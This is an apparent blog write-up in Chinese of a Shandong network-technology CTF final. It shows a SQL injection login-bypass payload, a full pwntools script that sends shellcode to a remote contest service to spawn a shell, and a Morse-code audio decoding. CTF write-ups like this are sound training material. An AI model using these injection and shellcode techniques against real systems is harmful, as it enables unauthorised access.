山东省网络技术大赛决赛wp

web1

给源码了,没手也行
post输入,然后pass经过md5加密,判断一下pass和query[pw]是否相等
直接在user那个地方加个单引号闭合就好了
Payload :

user=' union select md5(1) # &pass=1

Game2

有rwx段,还有函数指针,有手就行

from pwn import *

local = 0

binary = "./game2"
# libc_path = ''
port = "50005"

if local == 1:
	p = process(binary)
else:
	p = remote("106.2.25.10",port)

def dbg():
	context.log_level = 'debug'

context.terminal = ['tmux','splitw','-h']
context(arch = 'amd64',os = 'linux')

dbg()

method = '9'
buf = 0x6010c0
p.recvuntil('4. Divide two numbers')
p.sendline(method)

shellcode = shellcraft.sh()
print shellcode
shellcode = asm(shellcode)
p.recvuntil('Enter two numbers to do math with, e.g. [3 4]')
# p.sendline(shellcode)
payload = p64(buf + 0x8) + shellcode
p.sendline(payload)

# gdb.attach(p)
p.interactive()

Morse

不会杂项都出了
audacity分离音道
长信号为1,短信号为0,写个python脚本解密一下转换
00000 1000 1010 11110 00111 00000 10000 00001 11110 1010 1000 11111 01111 11100 11100 0010 00000 00111 0 10000 01111 11000 100 11000 11111 11110 00111 11110 01111 11110 01111 1010

然后就转成了这样
..... -... -.-. ----. ..--- ..... -.... ....- ----. -.-. -... ----- .---- ---.. ---.. ..-. ..... ..--- . -.... .---- --... -.. --... ----- ----. ..--- ----. .---- ----. .---- -.-.
然后找个解密工具就出来了

简单的解密脚本

Cm50

前17和后5位明文

posted @ 2020-11-08 20:32  lemon想学二进制  阅读(354)  评论(0编辑  收藏  举报